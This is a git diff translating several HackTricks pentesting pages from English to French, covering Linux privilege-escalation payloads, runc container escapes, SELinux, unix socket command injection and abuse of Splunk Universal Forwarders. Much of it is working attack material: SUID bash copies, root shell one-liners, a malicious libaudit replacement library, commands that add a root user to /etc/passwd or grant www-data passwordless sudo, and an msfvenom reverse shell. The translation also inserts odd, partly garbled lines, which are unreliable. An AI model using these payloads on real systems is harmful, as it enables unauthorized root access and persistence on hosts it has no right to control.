repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/linux-hardening/privilege-escalation/payloads-to-execute.md b/linux-hardening/privilege-escalation/payloads-to-execute.md index 25edb86d7..56e5ed9a2 100644 --- a/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -1,26 +1,86 @@ -# Payloads to execute +# Charges utiles à exécuter
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Bash - ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` +## Charges utiles à exécuter -## C +Les charges utiles suivantes peuvent être utilisées pour exécuter des commandes en tant que superutilisateur ou pour obtenir un shell interactif en tant que superutilisateur. +### Bash + +```bash +bash -p +``` + +### Python + +```python +python -c 'import os; os.system("/bin/bash")' +``` + +### Perl + +```perl +perl -e 'exec "/bin/sh";' +``` + +### Ruby + +```ruby +ruby -e 'exec "/bin/sh"' +``` + +### Lua + +```lua +lua -e "os.execute('/bin/sh')" +``` + +### VI + +```vim +:!bash +``` + +### Nmap + +```nmap +!sh +``` + +### MySQL + +```mysql +\! /bin/bash +``` + +### MSFVenom + +```msfvenom +msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py +python shell.py +``` + +### PowerShell + +```powershell +powershell -c "Start-Process cmd -Verb RunAs" +``` ```c //gcc payload.c -o payload int main(void){ @@ -57,20 +117,18 @@ int main(void) { return 0; } ``` +## Écraser un fichier pour escalader les privilèges -## Overwriting a file to escalate privileges +### Fichiers courants -### Common files +* Ajouter un utilisateur avec un mot de passe à _/etc/passwd_ +* Changer le mot de passe dans _/etc/shadow_ +* Ajouter un utilisateur aux sudoers dans _/etc/sudoers_ +* Abuser de Docker via la socket Docker, généralement dans _/run/docker.sock_ ou _/var/run/docker.sock_ -* Add user with password to _/etc/passwd_ -* Change password inside _/etc/shadow_ -* Add user to sudoers in _/etc/sudoers_ -* Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### Écraser une bibliothèque +Vérifier une bibliothèque utilisée par un binaire, dans ce cas `/bin/su`: ```bash ldd /bin/su linux-vdso.so.1 (0x00007ffef06e9000) @@ -82,10 +140,8 @@ ldd /bin/su libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +Dans ce cas, essayons de nous faire passer pour `/lib/x86_64-linux-gnu/libaudit.so.1`.\ +Donc, vérifiez les fonctions de cette bibliothèque utilisées par le binaire **`su`** : ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -93,9 +149,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +Les symboles `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` et `audit_fd` proviennent probablement de la bibliothèque libaudit.so.1. Comme la bibliothèque libaudit.so.1 sera remplacée par la bibliothèque partagée malveillante, ces symboles doivent être présents dans la nouvelle bibliothèque partagée, sinon le programme ne pourra pas trouver le symbole et sortira. ```c #include #include @@ -117,39 +171,38 @@ void inject() system("/bin/bash"); } ``` - -Now, just calling **`/bin/su`** you will obtain a shell as root. +Maintenant, en appelant simplement **`/bin/su`**, vous obtiendrez un shell en tant que root. ## Scripts -Can you make root execute something? - -### **www-data to sudoers** +Pouvez-vous faire exécuter quelque chose en tant que root? +### **www-data en sudoers** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` +### **Changer le mot de passe root** -### **Change root password** +```bash +echo "new_password" | sudo passwd root --stdin +``` +Cette commande permet de changer le mot de passe de l'utilisateur root en utilisant un nouveau mot de passe spécifié dans la commande. ```bash echo "root:hacked" | chpasswd ``` - -### Add new root user to /etc/passwd - +### Ajouter un nouvel utilisateur root à /etc/passwd ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e1326f34e..cd05832e4 100644 --- a/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,24 +1,6 @@ -# RunC Privilege Escalation +## Informations de base -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- -## Basic information - -If you want to learn more about **runc** check the following page: +Si vous voulez en savoir plus sur **runc**, consultez la page suivante : {% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} [2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md) @@ -26,8 +8,7 @@ If you want to learn more about **runc** check the following page: ## PE -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. - +Si vous constatez que `runc` est installé sur l'hôte, vous pourriez être en mesure de **lancer un conteneur en montant le dossier racine / de l'hôte**. ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder @@ -51,23 +32,22 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - {% hint style="danger" %} -This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +Cela ne fonctionnera pas toujours car l'opération par défaut de runc est de s'exécuter en tant que root, donc l'exécuter en tant qu'utilisateur non privilégié ne peut tout simplement pas fonctionner (à moins que vous n'ayez une configuration sans racine). Rendre une configuration sans racine par défaut n'est généralement pas une bonne idée car il y a plusieurs restrictions à l'intérieur des conteneurs sans racine qui ne s'appliquent pas à l'extérieur des conteneurs sans racine. {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/linux-hardening/privilege-escalation/selinux.md b/linux-hardening/privilege-escalation/selinux.md index df58a016f..8a3bb6ff4 100644 --- a/linux-hardening/privilege-escalation/selinux.md +++ b/linux-hardening/privilege-escalation/selinux.md @@ -1,28 +1,8 @@ +# SELinux dans les conteneurs +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) est un **système d'étiquetage**. Chaque **processus** et chaque **objet de système de fichiers** a une **étiquette**. Les politiques SELinux définissent des règles sur ce qu'une **étiquette de processus est autorisée à faire avec toutes les autres étiquettes** du système. -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -# SELinux in Containers - -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. - +Les moteurs de conteneurs lancent des **processus de conteneurs avec une seule étiquette SELinux confinée**, généralement `container_t`, puis définissent le conteneur à l'intérieur du conteneur pour être étiqueté `container_file_t`. Les règles de la politique SELinux disent essentiellement que les **processus `container_t` ne peuvent lire/écrire/exécuter que des fichiers étiquetés `container_file_t`**. Si un processus de conteneur s'échappe du conteneur et tente d'écrire sur le contenu de l'hôte, le noyau Linux refuse l'accès et permet uniquement au processus de conteneur d'écrire sur le contenu étiqueté `container_file_t`. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -30,26 +10,6 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# Utilisateurs SELinux -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +Il existe des utilisateurs SELinux en plus des utilisateurs Linux réguliers. Les utilisateurs SELinux font partie d'une politique SELinux. Chaque utilisateur Linux est mappé à un utilisateur SELinux dans le cadre de la politique. Cela permet aux utilisateurs Linux d'hériter des restrictions et des règles de sécurité et des mécanismes placés sur les utilisateurs SELinux. diff --git a/linux-hardening/privilege-escalation/socket-command-injection.md b/linux-hardening/privilege-escalation/socket-command-injection.md index 4197afbdd..b72d9f9f6 100644 --- a/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,25 +1,6 @@ +## Exemple de liaison de socket avec Python - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -## Socket binding example with Python - -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +Dans l'exemple suivant, un **socket Unix est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** sera **exécuté** par `os.system`. Je sais que vous ne trouverez pas cela dans la nature, mais le but de cet exemple est de voir à quoi ressemble un code utilisant des sockets Unix et comment gérer l'entrée dans le pire des cas possible. {% code title="s.py" %} ```python @@ -45,37 +26,29 @@ while True: ``` {% endcode %} -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +**Exécutez** le code en utilisant python: `python s.py` et **vérifiez comment la socket écoute**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` - -**Exploit** - +**Exploitation** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 9e564a2ca..47c127884 100644 --- a/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,184 +1,87 @@ +Si vous effectuez une énumération interne ou externe d'une machine et que vous trouvez que Splunk est en cours d'exécution (port 8090), si vous connaissez par chance des identifiants valides, vous pouvez abuser du service Splunk pour exécuter un shell en tant qu'utilisateur exécutant Splunk. Si root l'exécute, vous pouvez escalader les privilèges à root. +De plus, si vous êtes déjà root et que le service Splunk n'écoute pas uniquement sur localhost, vous pouvez voler le fichier de mot de passe du service Splunk et casser les mots de passe, ou ajouter de nouvelles informations d'identification. Et maintenir la persistance sur l'hôte. -
+Dans la première image ci-dessous, vous pouvez voir à quoi ressemble une page Web Splunkd. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Les informations suivantes ont été copiées depuis https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/ -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +# Abus de Splunk Forwarders pour les coquilles et la persistance -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. - -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. - -In the first image below you can see how a Splunkd web page looks like. - -**The following information was copied from** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) - -# Abusing Splunk Forwarders For Shells and Persistence - -14 Aug 2020 +14 août 2020 ## Description: -The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system. +L'agent Splunk Universal Forwarder (UF) permet aux utilisateurs distants authentifiés d'envoyer des commandes ou des scripts uniques aux agents via l'API Splunk. L'agent UF ne valide pas les connexions provenant d'un serveur Splunk Enterprise valide, ni ne valide le code signé ou autrement prouvé provenant du serveur Splunk Enterprise. Cela permet à un attaquant qui obtient l'accès au mot de passe de l'agent UF d'exécuter du code arbitraire sur le serveur en tant que SYSTEM ou root, selon le système d'exploitation. -This attack is being used by Penetration Testers and is likely being actively exploited in the wild by malicious attackers. Gaining the password could lead to the compromise of hundreds of system in a customer environment. +Cette attaque est utilisée par les testeurs de pénétration et est probablement exploitée activement dans la nature par des attaquants malveillants. L'obtention du mot de passe pourrait conduire à la compromission de centaines de systèmes dans un environnement client. -Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details. +Les mots de passe Splunk UF sont relativement faciles à acquérir, voir la section Emplacements de mot de passe courants pour plus de détails. -## Context: +## Contexte: -Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular. +Splunk est un outil d'agrégation et de recherche de données souvent utilisé comme système de surveillance des informations de sécurité et des événements (SIEM). Splunk Enterprise Server est une application Web qui s'exécute sur un serveur, avec des agents, appelés Universal Forwarders, qui sont installés sur chaque système du réseau. Splunk fournit des binaires d'agent pour Windows, Linux, Mac et Unix. De nombreuses organisations utilisent Syslog pour envoyer des données à Splunk au lieu d'installer un agent sur les hôtes Linux/Unix, mais l'installation de l'agent devient de plus en plus populaire. -Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher. As you will note in my demo, complexity is not a requirement as my agent password is 12345678. A remote attacker can brute force the password without lockout, which is a necessity of a log host, since if the account locked out then logs would no longer be sent to the Splunk server and an attacker could use this to hide their attacks. The following screenshot shows the Universal Forwarder agent, this initial page is accessible without authentication and can be used to enumerate hosts running Splunk Universal Forwarder. +Universal Forwarder est accessible sur chaque hôte à https://host:8089. L'accès à l'un des appels d'API protégés, tels que /service/, fait apparaître une boîte d'authentification de base. Le nom d'utilisateur est toujours admin, et le mot de passe par défaut était changeme jusqu'en 2016, date à laquelle Splunk a exigé que toutes les nouvelles installations définissent un mot de passe de 8 caractères ou plus. Comme vous le remarquerez dans ma démonstration, la complexité n'est pas une exigence car le mot de passe de mon agent est 12345678. Un attaquant distant peut forcer le mot de passe sans verrouillage, ce qui est une nécessité pour un hôte de journal, car si le compte est verrouillé, les journaux ne 